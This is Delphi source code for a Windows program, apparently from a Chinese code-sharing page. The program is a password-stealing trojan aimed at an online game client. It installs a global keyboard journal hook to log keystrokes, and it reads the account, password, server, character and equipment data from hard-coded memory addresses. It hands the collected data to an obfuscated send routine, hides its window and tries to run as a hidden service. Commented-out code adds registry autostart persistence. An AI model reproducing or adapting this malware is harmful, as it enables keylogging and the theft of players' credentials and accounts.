📄 main.dpr
字号:
end;
hookkey := hookkey + ch;
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
hookkey := hookkey + Char(vKey - 96 + 48);
ch := 'n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
hookkey := hookkey + ch;
// if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[退格]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[空格]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
hookkey := hookkey + str;
end;
end;
end
End;
function KeyProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var i:integer;
Begin
if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
if (PEventMsg(lparam)^.message =$0100) then begin// WM_KEYDOWN or (PEventMsg(lparam)^.message =$0101) WM_KEYUP
LogoKey(lParam, wParam);
end else if (PEventMsg(lparam)^.message =$0201) then begin //WM_LBUTTONUP $0202
LogoMouse(peventMsg(lparam)^.message, peventmsg(lparam)^.message);
end;
End;
procedure GetZBThread(Thread: TThread);
var
ServerName,ZB:string;
ok:boolean;
begin
ZB:=userinf;
Sleep(10000);
ok:=False;
ServerName:=Trim(GetMem('7872AC',10));
if length(ServerName)>1 then begin
ZB:=ZB+'衣服:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('787ED4',10));
if length(ServerName)>1 then begin
ZB:=ZB+'武器:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78A34C',10));
if length(ServerName)>1 then begin
ZB:=ZB+'头盔:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('789724',10));
if length(ServerName)>1 then begin
ZB:=ZB+'项链:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78AF74',10));
if length(ServerName)>1 then begin
ZB:=ZB+'右手镯:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78BB9C',10));
if length(ServerName)>1 then begin
ZB:=ZB+'左手镯:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78C7C4',10));
if length(ServerName)>1 then begin
ZB:=ZB+'右戒指:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78D3EC',10));
if length(ServerName)>1 then begin
ZB:=ZB+'左戒指:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78EC3C',10));
if length(ServerName)>1 then begin
ZB:=ZB+'鞋子:' +ServerName;
ok:=true;
end;
if ok then begin
userinf:=ZB;
Wfdaklfjasd(ZB);
Filereadok:=True;
if KeyHook<>0 then
if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);
end else
begin
Filereadok:=False;
end;
end;
procedure Time1pro(theWnd: HWND; msg, idTimer: Cardinal; dwTime: DWORD); stdcall;//(hWnd:Longint;uMsg:UINT;idEvent:UINT;Time:DWORD);
var
i:integer;
ServerName,ZB:string;
ok:boolean;
begin
if (IsMirDat<>0) then
begin
if (Filereadok=False) then
begin
ServerName:=Trim(GetMem('8F6C39',16));
if length(ServerName)>1 then begin
ZB:='帐号:' +ServerName+',';
end else begin
ok:=False;
Exit;
end;
ServerName:=Trim(GetMem('8F6D3D',16));
if length(ServerName)>1 then begin
ZB:=ZB+'密码:' +ServerName+',';
end else begin
ok:=False;
Exit;
end;
ServerName:=Trim(GetMem('4B57B0',10));
if length(ServerName)>1 then begin
ZB:=ZB+'服务器:' +ServerName+',';
end else begin
ok:=False;
Exit;
end;
ServerName:=GetMem('8EDC91',10);
if length(ServerName)>1 then begin
ZB:=ZB+'角色名:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('8EDD8C',16)); //职业
if length(ServerName)>1 then begin
ZB:=ZB+ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('8EDE90',16)); //角色等级
if length(ServerName)>1 then begin
ZB:=ZB+ServerName+',';
ok:=true;
end;
//Filereadok:=True;
{ ServerName:=Trim(GetMem('7872AC',10));
if length(ServerName)>1 then begin
ZB:=ZB+'衣服:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('787ED4',10));
if length(ServerName)>1 then begin
ZB:=ZB+'武器:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78A34C',10));
if length(ServerName)>1 then begin
ZB:=ZB+'头盔:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('789724',10));
if length(ServerName)>1 then begin
ZB:=ZB+'项链:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78AF74',10));
if length(ServerName)>1 then begin
ZB:=ZB+'右手镯:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78BB9C',10));
if length(ServerName)>1 then begin
ZB:=ZB+'左手镯:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78C7C4',10));
if length(ServerName)>1 then begin
ZB:=ZB+'右戒指:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78D3EC',10));
if length(ServerName)>1 then begin
ZB:=ZB+'左戒指:' +ServerName+',';
ok:=true;
end;
ServerName:=Trim(GetMem('78EC3C',10));
if length(ServerName)>1 then begin
ZB:=ZB+'鞋子:' +ServerName;
ok:=true;
end; }
if ok then begin
userinf:=ZB;
Filereadok:=True;
TThread.Create(@GetZBThread,0);
// Wfdaklfjasd(ZB);
// Filereadok:=True;
//if KeyHook<>0 then
// if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
// KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);
//Halt;
end;
end;
end else begin
Filereadok:=False;
if KeyHook<>0 then
if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
end;
End;
function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
case uMsg of
$0002:begin
if KeyHook<>0 then UnhookwindowsHookEx(KeyHook);
//if MouseHook<>0 then UnhookwindowsHookEx(MouseHook);
CloseDll;
Halt;
end;
end;
windowproc:=defwindowproc(hWnd,uMsg,wParam,lParam);
end;
procedure WinMain;
begin
Inst:=hInstance;
with WinClass do begin
style:=CS_CLASSDC or CS_PARENTDC;
lpfnWndProc:=@WindowProc;
hInstance:=Inst;
hbrBackground:=color_btnface + 1;
lpszClassname:=ClassName;
hCursor:=LoadCursor(0, IDC_ARROW);
end;
if RegisterClass(WinClass)=0 then Exit;
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE,
ClassName,CaptionName,
WS_SIZEBOX or WS_CAPTION or WS_SYSMENU,
0,0,
8,8,0,0,Inst,nil);
if Handle <> 0 then begin
InitDll;
settimer(Handle,1,2000,@Time1pro);
ShowWindow(Handle,sw_HIDE);
while(GetMessage(Msg,Handle, 0, 0)) do begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
CloseDll;
end;
End;
var Position,PosServer:string;
reAddress,n:integer;
begin
{ GetModuleFileName(0,LogoID,Sizeof(LogoID));
Copyfile(LogoID,pchar(getwp+CaptionName+'.exe'),False);
Reg.AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\RunServices',CaptionName,pchar(CaptionName+'.exe'),1); //GetWP+
if UpperCase(strpas(LogoID))<>UpperCase(GetWP+CaptionName+'.exe') then begin
Winexec(pchar(GetWP+CaptionName+'.exe'),sw_show);
Exit;
end; }
if FindWindow(ClassName,CaptionName)<>0 then Exit;
if judgesys in [1,2] then
begin
HideSelfToBeService;
end;
SetInfor;//(true); //设置信息
WinMain;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -